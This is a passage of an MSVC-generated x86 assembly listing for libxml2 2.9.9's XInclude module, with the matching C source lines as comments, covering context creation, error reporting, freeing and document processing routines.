_msg$ = 20 ; size = 4
_extra$ = 24 ; size = 4
_xmlXIncludeErr PROC ; COMDAT
; 131 : {
push ebp
mov ebp, esp
mov ecx, OFFSET __07371726_xinclude@c
call @__CheckForDebuggerJustMyCode@4
; 132 : if (ctxt != NULL)
cmp DWORD PTR _ctxt$[ebp], 0
je SHORT $LN2@xmlXInclud
; 133 : ctxt->nbErrors++;
mov eax, DWORD PTR _ctxt$[ebp]
mov ecx, DWORD PTR [eax+52]
add ecx, 1
mov edx, DWORD PTR _ctxt$[ebp]
mov DWORD PTR [edx+52], ecx
$LN2@xmlXInclud:
; 134 : __xmlRaiseError(NULL, NULL, NULL, ctxt, node, XML_FROM_XINCLUDE,
mov eax, DWORD PTR _extra$[ebp]
push eax
mov ecx, DWORD PTR _msg$[ebp]
push ecx
push 0
push 0
push 0
push 0
mov edx, DWORD PTR _extra$[ebp]
push edx
push 0
push 0
push 2
mov eax, DWORD PTR _error$[ebp]
push eax
push 11 ; 0000000bH
mov ecx, DWORD PTR _node$[ebp]
push ecx
mov edx, DWORD PTR _ctxt$[ebp]
push edx
push 0
push 0
push 0
call ___xmlRaiseError
add esp, 68 ; 00000044H
; 135 : error, XML_ERR_ERROR, NULL, 0,
; 136 : (const char *) extra, NULL, NULL, 0, 0,
; 137 : msg, (const char *) extra);
; 138 : }
cmp ebp, esp
call __RTC_CheckEsp
pop ebp
ret 0
_xmlXIncludeErr ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xinclude.c
; COMDAT _xmlXIncludeErrMemory
_TEXT SEGMENT
_ctxt$ = 8 ; size = 4
_node$ = 12 ; size = 4
_extra$ = 16 ; size = 4
_xmlXIncludeErrMemory PROC ; COMDAT
; 110 : {
push ebp
mov ebp, esp
mov ecx, OFFSET __07371726_xinclude@c
call @__CheckForDebuggerJustMyCode@4
; 111 : if (ctxt != NULL)
cmp DWORD PTR _ctxt$[ebp], 0
je SHORT $LN2@xmlXInclud
; 112 : ctxt->nbErrors++;
mov eax, DWORD PTR _ctxt$[ebp]
mov ecx, DWORD PTR [eax+52]
add ecx, 1
mov edx, DWORD PTR _ctxt$[ebp]
mov DWORD PTR [edx+52], ecx
$LN2@xmlXInclud:
; 113 : __xmlRaiseError(NULL, NULL, NULL, ctxt, node, XML_FROM_XINCLUDE,
mov eax, DWORD PTR _extra$[ebp]
push eax
push OFFSET ??_C@_0BP@DJFHNAOK@Memory?5allocation?5failed?5?3?5?$CFs?6@
push 0
push 0
push 0
push 0
mov ecx, DWORD PTR _extra$[ebp]
push ecx
push 0
push 0
push 2
push 2
push 11 ; 0000000bH
mov edx, DWORD PTR _node$[ebp]
push edx
mov eax, DWORD PTR _ctxt$[ebp]
push eax
push 0
push 0
push 0
call ___xmlRaiseError
add esp, 68 ; 00000044H
; 114 : XML_ERR_NO_MEMORY, XML_ERR_ERROR, NULL, 0,
; 115 : extra, NULL, NULL, 0, 0,
; 116 : "Memory allocation failed : %s\n", extra);
; 117 : }
cmp ebp, esp
call __RTC_CheckEsp
pop ebp
ret 0
_xmlXIncludeErrMemory ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xinclude.c
; COMDAT _xmlXIncludeDoProcess
_TEXT SEGMENT
_start$ = -16 ; size = 4
_i$ = -12 ; size = 4
_ret$ = -8 ; size = 4
_cur$ = -4 ; size = 4
_ctxt$ = 8 ; size = 4
_doc$ = 12 ; size = 4
_tree$ = 16 ; size = 4
_xmlXIncludeDoProcess PROC ; COMDAT
; 2364 : xmlXIncludeDoProcess(xmlXIncludeCtxtPtr ctxt, xmlDocPtr doc, xmlNodePtr tree) {
push ebp
mov ebp, esp
sub esp, 16 ; 00000010H
mov eax, -858993460 ; ccccccccH
mov DWORD PTR [ebp-16], eax
mov DWORD PTR [ebp-12], eax
mov DWORD PTR [ebp-8], eax
mov DWORD PTR [ebp-4], eax
mov ecx, OFFSET __07371726_xinclude@c
call @__CheckForDebuggerJustMyCode@4
; 2365 : xmlNodePtr cur;
; 2366 : int ret = 0;
mov DWORD PTR _ret$[ebp], 0
; 2367 : int i, start;
; 2368 :
; 2369 : if ((doc == NULL) || (tree == NULL) || (tree->type == XML_NAMESPACE_DECL))
cmp DWORD PTR _doc$[ebp], 0
je SHORT $LN14@xmlXInclud
cmp DWORD PTR _tree$[ebp], 0
je SHORT $LN14@xmlXInclud
mov eax, DWORD PTR _tree$[ebp]
cmp DWORD PTR [eax+4], 18 ; 00000012H
jne SHORT $LN13@xmlXInclud
$LN14@xmlXInclud:
; 2370 : return(-1);
or eax, -1
jmp $LN1@xmlXInclud
$LN13@xmlXInclud:
; 2371 : if (ctxt == NULL)
cmp DWORD PTR _ctxt$[ebp], 0
jne SHORT $LN15@xmlXInclud
; 2372 : return(-1);
or eax, -1
jmp $LN1@xmlXInclud
$LN15@xmlXInclud:
; 2373 :
; 2374 : if (doc->URL != NULL) {
mov ecx, DWORD PTR _doc$[ebp]
cmp DWORD PTR [ecx+72], 0
je SHORT $LN16@xmlXInclud
; 2375 : ret = xmlXIncludeURLPush(ctxt, doc->URL);
mov edx, DWORD PTR _doc$[ebp]
mov eax, DWORD PTR [edx+72]
push eax
mov ecx, DWORD PTR _ctxt$[ebp]
push ecx
call _xmlXIncludeURLPush
add esp, 8
mov DWORD PTR _ret$[ebp], eax
; 2376 : if (ret < 0)
cmp DWORD PTR _ret$[ebp], 0
jge SHORT $LN16@xmlXInclud
; 2377 : return(-1);
or eax, -1
jmp $LN1@xmlXInclud
$LN16@xmlXInclud:
; 2378 : }
; 2379 : start = ctxt->incNr;
mov edx, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR [edx+8]
mov DWORD PTR _start$[ebp], eax
; 2380 :
; 2381 : /*
; 2382 : * First phase: lookup the elements in the document
; 2383 : */
; 2384 : cur = tree;
mov ecx, DWORD PTR _tree$[ebp]
mov DWORD PTR _cur$[ebp], ecx
; 2385 : if (xmlXIncludeTestNode(ctxt, cur) == 1)
mov edx, DWORD PTR _cur$[ebp]
push edx
mov eax, DWORD PTR _ctxt$[ebp]
push eax
call _xmlXIncludeTestNode
add esp, 8
cmp eax, 1
jne SHORT $LN2@xmlXInclud
; 2386 : xmlXIncludePreProcessNode(ctxt, cur);
mov ecx, DWORD PTR _cur$[ebp]
push ecx
mov edx, DWORD PTR _ctxt$[ebp]
push edx
call _xmlXIncludePreProcessNode
add esp, 8
$LN2@xmlXInclud:
; 2387 : while ((cur != NULL) && (cur != tree->parent)) {
cmp DWORD PTR _cur$[ebp], 0
je $LN3@xmlXInclud
mov eax, DWORD PTR _tree$[ebp]
mov ecx, DWORD PTR _cur$[ebp]
cmp ecx, DWORD PTR [eax+20]
je $LN3@xmlXInclud
; 2388 : /* TODO: need to work on entities -> stack */
; 2389 : if ((cur->children != NULL) &&
; 2390 : (cur->children->type != XML_ENTITY_DECL) &&
; 2391 : (cur->children->type != XML_XINCLUDE_START) &&
mov edx, DWORD PTR _cur$[ebp]
cmp DWORD PTR [edx+12], 0
je SHORT $LN19@xmlXInclud
mov eax, DWORD PTR _cur$[ebp]
mov ecx, DWORD PTR [eax+12]
cmp DWORD PTR [ecx+4], 17 ; 00000011H
je SHORT $LN19@xmlXInclud
mov edx, DWORD PTR _cur$[ebp]
mov eax, DWORD PTR [edx+12]
cmp DWORD PTR [eax+4], 19 ; 00000013H
je SHORT $LN19@xmlXInclud
mov ecx, DWORD PTR _cur$[ebp]
mov edx, DWORD PTR [ecx+12]
cmp DWORD PTR [edx+4], 20 ; 00000014H
je SHORT $LN19@xmlXInclud
; 2392 : (cur->children->type != XML_XINCLUDE_END)) {
; 2393 : cur = cur->children;
mov eax, DWORD PTR _cur$[ebp]
mov ecx, DWORD PTR [eax+12]
mov DWORD PTR _cur$[ebp], ecx
; 2394 : if (xmlXIncludeTestNode(ctxt, cur))
mov edx, DWORD PTR _cur$[ebp]
push edx
mov eax, DWORD PTR _ctxt$[ebp]
push eax
call _xmlXIncludeTestNode
add esp, 8
test eax, eax
je SHORT $LN21@xmlXInclud
; 2395 : xmlXIncludePreProcessNode(ctxt, cur);
mov ecx, DWORD PTR _cur$[ebp]
push ecx
mov edx, DWORD PTR _ctxt$[ebp]
push edx
call _xmlXIncludePreProcessNode
add esp, 8
$LN21@xmlXInclud:
; 2396 : } else if (cur->next != NULL) {
jmp $LN20@xmlXInclud
$LN19@xmlXInclud:
mov eax, DWORD PTR _cur$[ebp]
cmp DWORD PTR [eax+24], 0
je SHORT $LN22@xmlXInclud
; 2397 : cur = cur->next;
mov ecx, DWORD PTR _cur$[ebp]
mov edx, DWORD PTR [ecx+24]
mov DWORD PTR _cur$[ebp], edx
; 2398 : if (xmlXIncludeTestNode(ctxt, cur))
mov eax, DWORD PTR _cur$[ebp]
push eax
mov ecx, DWORD PTR _ctxt$[ebp]
push ecx
call _xmlXIncludeTestNode
add esp, 8
test eax, eax
je SHORT $LN24@xmlXInclud
; 2399 : xmlXIncludePreProcessNode(ctxt, cur);
mov edx, DWORD PTR _cur$[ebp]
push edx
mov eax, DWORD PTR _ctxt$[ebp]
push eax
call _xmlXIncludePreProcessNode
add esp, 8
$LN24@xmlXInclud:
; 2400 : } else {
jmp SHORT $LN20@xmlXInclud
$LN22@xmlXInclud:
; 2401 : if (cur == tree)
mov ecx, DWORD PTR _cur$[ebp]
cmp ecx, DWORD PTR _tree$[ebp]
jne SHORT $LN6@xmlXInclud
; 2402 : break;
jmp SHORT $LN3@xmlXInclud
$LN6@xmlXInclud:
; 2403 : do {
; 2404 : cur = cur->parent;
mov edx, DWORD PTR _cur$[ebp]
mov eax, DWORD PTR [edx+20]
mov DWORD PTR _cur$[ebp], eax
; 2405 : if ((cur == NULL) || (cur == tree->parent))
cmp DWORD PTR _cur$[ebp], 0
je SHORT $LN27@xmlXInclud
mov ecx, DWORD PTR _tree$[ebp]
mov edx, DWORD PTR _cur$[ebp]
cmp edx, DWORD PTR [ecx+20]
jne SHORT $LN26@xmlXInclud
$LN27@xmlXInclud:
; 2406 : break; /* do */
jmp SHORT $LN20@xmlXInclud
$LN26@xmlXInclud:
; 2407 : if (cur->next != NULL) {
mov eax, DWORD PTR _cur$[ebp]
cmp DWORD PTR [eax+24], 0
je SHORT $LN4@xmlXInclud
; 2408 : cur = cur->next;
mov ecx, DWORD PTR _cur$[ebp]
mov edx, DWORD PTR [ecx+24]
mov DWORD PTR _cur$[ebp], edx
; 2409 : if (xmlXIncludeTestNode(ctxt, cur))
mov eax, DWORD PTR _cur$[ebp]
push eax
mov ecx, DWORD PTR _ctxt$[ebp]
push ecx
call _xmlXIncludeTestNode
add esp, 8
test eax, eax
je SHORT $LN29@xmlXInclud
; 2410 : xmlXIncludePreProcessNode(ctxt, cur);
mov edx, DWORD PTR _cur$[ebp]
push edx
mov eax, DWORD PTR _ctxt$[ebp]
push eax
call _xmlXIncludePreProcessNode
add esp, 8
$LN29@xmlXInclud:
; 2411 : break; /* do */
jmp SHORT $LN20@xmlXInclud
$LN4@xmlXInclud:
; 2412 : }
; 2413 : } while (cur != NULL);
cmp DWORD PTR _cur$[ebp], 0
jne SHORT $LN6@xmlXInclud
$LN20@xmlXInclud:
; 2414 : }
; 2415 : }
jmp $LN2@xmlXInclud
$LN3@xmlXInclud:
; 2416 :
; 2417 : /*
; 2418 : * Second Phase : collect the infosets fragments
; 2419 : */
; 2420 : for (i = start;i < ctxt->incNr; i++) {
mov ecx, DWORD PTR _start$[ebp]
mov DWORD PTR _i$[ebp], ecx
jmp SHORT $LN9@xmlXInclud
$LN7@xmlXInclud:
mov edx, DWORD PTR _i$[ebp]
add edx, 1
mov DWORD PTR _i$[ebp], edx
$LN9@xmlXInclud:
mov eax, DWORD PTR _ctxt$[ebp]
mov ecx, DWORD PTR _i$[ebp]
cmp ecx, DWORD PTR [eax+8]
jge SHORT $LN8@xmlXInclud
; 2421 : xmlXIncludeLoadNode(ctxt, i);
mov edx, DWORD PTR _i$[ebp]
push edx
mov eax, DWORD PTR _ctxt$[ebp]
push eax
call _xmlXIncludeLoadNode
add esp, 8
; 2422 : ret++;
mov ecx, DWORD PTR _ret$[ebp]
add ecx, 1
mov DWORD PTR _ret$[ebp], ecx
; 2423 : }
jmp SHORT $LN7@xmlXInclud
$LN8@xmlXInclud:
; 2424 :
; 2425 : /*
; 2426 : * Third phase: extend the original document infoset.
; 2427 : *
; 2428 : * Originally we bypassed the inclusion if there were any errors
; 2429 : * encountered on any of the XIncludes. A bug was raised (bug
; 2430 : * 132588) requesting that we output the XIncludes without error,
; 2431 : * so the check for inc!=NULL || xptr!=NULL was put in. This may
; 2432 : * give some other problems in the future, but for now it seems to
; 2433 : * work ok.
; 2434 : *
; 2435 : */
; 2436 : for (i = ctxt->incBase;i < ctxt->incNr; i++) {
mov edx, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR [edx+4]
mov DWORD PTR _i$[ebp], eax
jmp SHORT $LN12@xmlXInclud
$LN10@xmlXInclud:
mov ecx, DWORD PTR _i$[ebp]
add ecx, 1
mov DWORD PTR _i$[ebp], ecx
$LN12@xmlXInclud:
mov edx, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR _i$[ebp]
cmp eax, DWORD PTR [edx+8]
jge SHORT $LN11@xmlXInclud
; 2437 : if ((ctxt->incTab[i]->inc != NULL) ||
; 2438 : (ctxt->incTab[i]->xptr != NULL) ||
mov ecx, DWORD PTR _ctxt$[ebp]
mov edx, DWORD PTR [ecx+16]
mov eax, DWORD PTR _i$[ebp]
mov ecx, DWORD PTR [edx+eax*4]
cmp DWORD PTR [ecx+16], 0
jne SHORT $LN31@xmlXInclud
mov edx, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR [edx+16]
mov ecx, DWORD PTR _i$[ebp]
mov edx, DWORD PTR [eax+ecx*4]
cmp DWORD PTR [edx+28], 0
jne SHORT $LN31@xmlXInclud
mov eax, DWORD PTR _ctxt$[ebp]
mov ecx, DWORD PTR [eax+16]
mov edx, DWORD PTR _i$[ebp]
mov eax, DWORD PTR [ecx+edx*4]
cmp DWORD PTR [eax+32], 0
je SHORT $LN30@xmlXInclud
$LN31@xmlXInclud:
; 2439 : (ctxt->incTab[i]->emptyFb != 0)) /* (empty fallback) */
; 2440 : xmlXIncludeIncludeNode(ctxt, i);
mov ecx, DWORD PTR _i$[ebp]
push ecx
mov edx, DWORD PTR _ctxt$[ebp]
push edx
call _xmlXIncludeIncludeNode
add esp, 8
$LN30@xmlXInclud:
; 2441 : }
jmp SHORT $LN10@xmlXInclud
$LN11@xmlXInclud:
; 2442 :
; 2443 : if (doc->URL != NULL)
mov eax, DWORD PTR _doc$[ebp]
cmp DWORD PTR [eax+72], 0
je SHORT $LN32@xmlXInclud
; 2444 : xmlXIncludeURLPop(ctxt);
mov ecx, DWORD PTR _ctxt$[ebp]
push ecx
call _xmlXIncludeURLPop
add esp, 4
$LN32@xmlXInclud:
; 2445 : return(ret);
mov eax, DWORD PTR _ret$[ebp]
$LN1@xmlXInclud:
; 2446 : }
add esp, 16 ; 00000010H
cmp ebp, esp
call __RTC_CheckEsp
mov esp, ebp
pop ebp
ret 0
_xmlXIncludeDoProcess ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xinclude.c
; COMDAT _xmlXIncludeProcessNode
_TEXT SEGMENT
_ret$ = -4 ; size = 4
_ctxt$ = 8 ; size = 4
_node$ = 12 ; size = 4
_xmlXIncludeProcessNode PROC ; COMDAT
; 2611 : xmlXIncludeProcessNode(xmlXIncludeCtxtPtr ctxt, xmlNodePtr node) {
push ebp
mov ebp, esp
push ecx
mov DWORD PTR [ebp-4], -858993460 ; ccccccccH
mov ecx, OFFSET __07371726_xinclude@c
call @__CheckForDebuggerJustMyCode@4
; 2612 : int ret = 0;
mov DWORD PTR _ret$[ebp], 0
; 2613 :
; 2614 : if ((node == NULL) || (node->type == XML_NAMESPACE_DECL) ||
; 2615 : (node->doc == NULL) || (ctxt == NULL))
cmp DWORD PTR _node$[ebp], 0
je SHORT $LN3@xmlXInclud
mov eax, DWORD PTR _node$[ebp]
cmp DWORD PTR [eax+4], 18 ; 00000012H
je SHORT $LN3@xmlXInclud
mov ecx, DWORD PTR _node$[ebp]
cmp DWORD PTR [ecx+32], 0
je SHORT $LN3@xmlXInclud
cmp DWORD PTR _ctxt$[ebp], 0
jne SHORT $LN2@xmlXInclud
$LN3@xmlXInclud:
; 2616 : return(-1);
or eax, -1
jmp SHORT $LN1@xmlXInclud
$LN2@xmlXInclud:
; 2617 : ret = xmlXIncludeDoProcess(ctxt, node->doc, node);
mov edx, DWORD PTR _node$[ebp]
push edx
mov eax, DWORD PTR _node$[ebp]
mov ecx, DWORD PTR [eax+32]
push ecx
mov edx, DWORD PTR _ctxt$[ebp]
push edx
call _xmlXIncludeDoProcess
add esp, 12 ; 0000000cH
mov DWORD PTR _ret$[ebp], eax
; 2618 : if ((ret >= 0) && (ctxt->nbErrors > 0))
cmp DWORD PTR _ret$[ebp], 0
jl SHORT $LN4@xmlXInclud
mov eax, DWORD PTR _ctxt$[ebp]
cmp DWORD PTR [eax+52], 0
jle SHORT $LN4@xmlXInclud
; 2619 : ret = -1;
mov DWORD PTR _ret$[ebp], -1
$LN4@xmlXInclud:
; 2620 : return(ret);
mov eax, DWORD PTR _ret$[ebp]
$LN1@xmlXInclud:
; 2621 : }
add esp, 4
cmp ebp, esp
call __RTC_CheckEsp
mov esp, ebp
pop ebp
ret 0
_xmlXIncludeProcessNode ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xinclude.c
; COMDAT _xmlXIncludeFreeContext
_TEXT SEGMENT
_i$ = -4 ; size = 4
_ctxt$ = 8 ; size = 4
_xmlXIncludeFreeContext PROC ; COMDAT
; 379 : xmlXIncludeFreeContext(xmlXIncludeCtxtPtr ctxt) {
push ebp
mov ebp, esp
push ecx
push esi
mov DWORD PTR [ebp-4], -858993460 ; ccccccccH
mov ecx, OFFSET __07371726_xinclude@c
call @__CheckForDebuggerJustMyCode@4
; 380 : int i;
; 381 :
; 382 : #ifdef DEBUG_XINCLUDE
; 383 : xmlGenericError(xmlGenericErrorContext, "Freeing context\n");
; 384 : #endif
; 385 : if (ctxt == NULL)
cmp DWORD PTR _ctxt$[ebp], 0
jne SHORT $LN2@xmlXInclud
; 386 : return;
jmp $LN1@xmlXInclud
$LN2@xmlXInclud:
; 387 : while (ctxt->urlNr > 0)
mov eax, DWORD PTR _ctxt$[ebp]
cmp DWORD PTR [eax+40], 0
jle SHORT $LN3@xmlXInclud
; 388 : xmlXIncludeURLPop(ctxt);
mov ecx, DWORD PTR _ctxt$[ebp]
push ecx
call _xmlXIncludeURLPop
add esp, 4
jmp SHORT $LN2@xmlXInclud
$LN3@xmlXInclud:
; 389 : if (ctxt->urlTab != NULL)
mov edx, DWORD PTR _ctxt$[ebp]
cmp DWORD PTR [edx+48], 0
je SHORT $LN11@xmlXInclud
; 390 : xmlFree(ctxt->urlTab);
mov esi, esp
mov eax, DWORD PTR _ctxt$[ebp]
mov ecx, DWORD PTR [eax+48]
push ecx
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
$LN11@xmlXInclud:
; 391 : for (i = 0;i < ctxt->incNr;i++) {
mov DWORD PTR _i$[ebp], 0
jmp SHORT $LN6@xmlXInclud
$LN4@xmlXInclud:
mov edx, DWORD PTR _i$[ebp]
add edx, 1
mov DWORD PTR _i$[ebp], edx
$LN6@xmlXInclud:
mov eax, DWORD PTR _ctxt$[ebp]
mov ecx, DWORD PTR _i$[ebp]
cmp ecx, DWORD PTR [eax+8]
jge SHORT $LN5@xmlXInclud
; 392 : if (ctxt->incTab[i] != NULL)
mov edx, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR [edx+16]
mov ecx, DWORD PTR _i$[ebp]
cmp DWORD PTR [eax+ecx*4], 0
je SHORT $LN12@xmlXInclud
; 393 : xmlXIncludeFreeRef(ctxt->incTab[i]);
mov edx, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR [edx+16]
mov ecx, DWORD PTR _i$[ebp]
mov edx, DWORD PTR [eax+ecx*4]
push edx
call _xmlXIncludeFreeRef
add esp, 4
$LN12@xmlXInclud:
; 394 : }
jmp SHORT $LN4@xmlXInclud
$LN5@xmlXInclud:
; 395 : if (ctxt->txturlTab != NULL) {
mov eax, DWORD PTR _ctxt$[ebp]
cmp DWORD PTR [eax+32], 0
je SHORT $LN13@xmlXInclud
; 396 : for (i = 0;i < ctxt->txtNr;i++) {
mov DWORD PTR _i$[ebp], 0
jmp SHORT $LN9@xmlXInclud
$LN7@xmlXInclud:
mov ecx, DWORD PTR _i$[ebp]
add ecx, 1
mov DWORD PTR _i$[ebp], ecx
$LN9@xmlXInclud:
mov edx, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR _i$[ebp]
cmp eax, DWORD PTR [edx+20]
jge SHORT $LN13@xmlXInclud
; 397 : if (ctxt->txturlTab[i] != NULL)
mov ecx, DWORD PTR _ctxt$[ebp]
mov edx, DWORD PTR [ecx+32]
mov eax, DWORD PTR _i$[ebp]
cmp DWORD PTR [edx+eax*4], 0
je SHORT $LN14@xmlXInclud
; 398 : xmlFree(ctxt->txturlTab[i]);
mov ecx, DWORD PTR _ctxt$[ebp]
mov edx, DWORD PTR [ecx+32]
mov esi, esp
mov eax, DWORD PTR _i$[ebp]
mov ecx, DWORD PTR [edx+eax*4]
push ecx
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
$LN14@xmlXInclud:
; 399 : }
jmp SHORT $LN7@xmlXInclud
$LN13@xmlXInclud:
; 400 : }
; 401 : if (ctxt->incTab != NULL)
mov edx, DWORD PTR _ctxt$[ebp]
cmp DWORD PTR [edx+16], 0
je SHORT $LN15@xmlXInclud
; 402 : xmlFree(ctxt->incTab);
mov esi, esp
mov eax, DWORD PTR _ctxt$[ebp]
mov ecx, DWORD PTR [eax+16]
push ecx
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
$LN15@xmlXInclud:
; 403 : if (ctxt->txtTab != NULL)
mov edx, DWORD PTR _ctxt$[ebp]
cmp DWORD PTR [edx+28], 0
je SHORT $LN16@xmlXInclud
; 404 : xmlFree(ctxt->txtTab);
mov esi, esp
mov eax, DWORD PTR _ctxt$[ebp]
mov ecx, DWORD PTR [eax+28]
push ecx
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
$LN16@xmlXInclud:
; 405 : if (ctxt->txturlTab != NULL)
mov edx, DWORD PTR _ctxt$[ebp]
cmp DWORD PTR [edx+32], 0
je SHORT $LN17@xmlXInclud
; 406 : xmlFree(ctxt->txturlTab);
mov esi, esp
mov eax, DWORD PTR _ctxt$[ebp]
mov ecx, DWORD PTR [eax+32]
push ecx
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
$LN17@xmlXInclud:
; 407 : if (ctxt->base != NULL) {
mov edx, DWORD PTR _ctxt$[ebp]
cmp DWORD PTR [edx+64], 0
je SHORT $LN18@xmlXInclud
; 408 : xmlFree(ctxt->base);
mov esi, esp
mov eax, DWORD PTR _ctxt$[ebp]
mov ecx, DWORD PTR [eax+64]
push ecx
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
$LN18@xmlXInclud:
; 409 : }
; 410 : xmlFree(ctxt);
mov esi, esp
mov edx, DWORD PTR _ctxt$[ebp]
push edx
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
$LN1@xmlXInclud:
; 411 : }
pop esi
add esp, 4
cmp ebp, esp
call __RTC_CheckEsp
mov esp, ebp
pop ebp
ret 0
_xmlXIncludeFreeContext ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xinclude.c
; COMDAT _xmlXIncludeSetFlags
_TEXT SEGMENT
_ctxt$ = 8 ; size = 4
_flags$ = 12 ; size = 4
_xmlXIncludeSetFlags PROC ; COMDAT
; 2458 : xmlXIncludeSetFlags(xmlXIncludeCtxtPtr ctxt, int flags) {
push ebp
mov ebp, esp
mov ecx, OFFSET __07371726_xinclude@c
call @__CheckForDebuggerJustMyCode@4
; 2459 : if (ctxt == NULL)
cmp DWORD PTR _ctxt$[ebp], 0
jne SHORT $LN2@xmlXInclud
; 2460 : return(-1);
or eax, -1
jmp SHORT $LN1@xmlXInclud
$LN2@xmlXInclud:
; 2461 : ctxt->parseFlags = flags;
mov eax, DWORD PTR _ctxt$[ebp]
mov ecx, DWORD PTR _flags$[ebp]
mov DWORD PTR [eax+60], ecx
; 2462 : return(0);
xor eax, eax
$LN1@xmlXInclud:
; 2463 : }
cmp ebp, esp
call __RTC_CheckEsp
pop ebp
ret 0
_xmlXIncludeSetFlags ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xinclude.c
; COMDAT _xmlXIncludeNewContext
_TEXT SEGMENT
_ret$ = -4 ; size = 4
_doc$ = 8 ; size = 4
_xmlXIncludeNewContext PROC ; COMDAT
; 281 : xmlXIncludeNewContext(xmlDocPtr doc) {
push ebp
mov ebp, esp
push ecx
push esi
mov DWORD PTR [ebp-4], -858993460 ; ccccccccH
mov ecx, OFFSET __07371726_xinclude@c
call @__CheckForDebuggerJustMyCode@4
; 282 : xmlXIncludeCtxtPtr ret;
; 283 :
; 284 : #ifdef DEBUG_XINCLUDE
; 285 : xmlGenericError(xmlGenericErrorContext, "New context\n");
; 286 : #endif
; 287 : if (doc == NULL)
cmp DWORD PTR _doc$[ebp], 0
jne SHORT $LN2@xmlXInclud
; 288 : return(NULL);
xor eax, eax
jmp $LN1@xmlXInclud
$LN2@xmlXInclud:
; 289 : ret = (xmlXIncludeCtxtPtr) xmlMalloc(sizeof(xmlXIncludeCtxt));
mov esi, esp
push 72 ; 00000048H
call DWORD PTR _xmlMalloc
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
mov DWORD PTR _ret$[ebp], eax
; 290 : if (ret == NULL) {
cmp DWORD PTR _ret$[ebp], 0
jne SHORT $LN3@xmlXInclud
; 291 : xmlXIncludeErrMemory(NULL, (xmlNodePtr) doc,
push OFFSET ??_C@_0BK@NPNMIHKC@creating?5XInclude?5context@
mov eax, DWORD PTR _doc$[ebp]
push eax
push 0
call _xmlXIncludeErrMemory
add esp, 12 ; 0000000cH
; 292 : "creating XInclude context");
; 293 : return(NULL);
xor eax, eax
jmp SHORT $LN1@xmlXInclud
$LN3@xmlXInclud:
; 294 : }
; 295 : memset(ret, 0, sizeof(xmlXIncludeCtxt));
push 72 ; 00000048H
push 0
mov ecx, DWORD PTR _ret$[ebp]
push ecx
call _memset
add esp, 12 ; 0000000cH
; 296 : ret->doc = doc;
mov edx, DWORD PTR _ret$[ebp]
mov eax, DWORD PTR _doc$[ebp]
mov DWORD PTR [edx], eax
; 297 : ret->incNr = 0;
mov ecx, DWORD PTR _ret$[ebp]
mov DWORD PTR [ecx+8], 0
; 298 : ret->incBase = 0;
mov edx, DWORD PTR _ret$[ebp]
mov DWORD PTR [edx+4], 0
; 299 : ret->incMax = 0;
mov eax, DWORD PTR _ret$[ebp]
mov DWORD PTR [eax+12], 0
; 300 : ret->incTab = NULL;
mov ecx, DWORD PTR _ret$[ebp]
mov DWORD PTR [ecx+16], 0
; 301 : ret->nbErrors = 0;
mov edx, DWORD PTR _ret$[ebp]
mov DWORD PTR [edx+52], 0
; 302 : return(ret);
mov eax, DWORD PTR _ret$[ebp]
$LN1@xmlXInclud:
; 303 : }
pop esi
add esp, 4
cmp ebp, esp
call __RTC_CheckEsp
mov esp, ebp
pop ebp
ret 0
_xmlXIncludeNewContext ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xinclude.c
; COMDAT _xmlXIncludeProcessTreeFlags
_TEXT SEGMENT
_ret$ = -8 ; size = 4
_ctxt$ = -4 ; size = 4
_tree$ = 8 ; size = 4
_flags$ = 12 ; size = 4
_xmlXIncludeProcessTreeFlags PROC ; COMDAT
; 2565 : xmlXIncludeProcessTreeFlags(xmlNodePtr tree, int flags) {
push ebp
mov ebp, esp
sub esp, 8
mov DWORD PTR [ebp-8], -858993460 ; ccccccccH
mov DWORD PTR [ebp-4], -858993460 ; ccccccccH
mov ecx, OFFSET __07371726_xinclude@c
call @__CheckForDebuggerJustMyCode@4
; 2566 : xmlXIncludeCtxtPtr ctxt;
; 2567 : int ret = 0;
mov DWORD PTR _ret$[ebp], 0
; 2568 :
; 2569 : if ((tree == NULL) || (tree->type == XML_NAMESPACE_DECL) ||
cmp DWORD PTR _tree$[ebp], 0
je SHORT $LN3@xmlXInclud
mov eax, DWORD PTR _tree$[ebp]
cmp DWORD PTR [eax+4], 18 ; 00000012H
je SHORT $LN3@xmlXInclud
mov ecx, DWORD PTR _tree$[ebp]
cmp DWORD PTR [ecx+32], 0
jne SHORT $LN2@xmlXInclud
$LN3@xmlXInclud:
; 2570 : (tree->doc == NULL))
; 2571 : return(-1);
or eax, -1
jmp $LN1@xmlXInclud
$LN2@xmlXInclud:
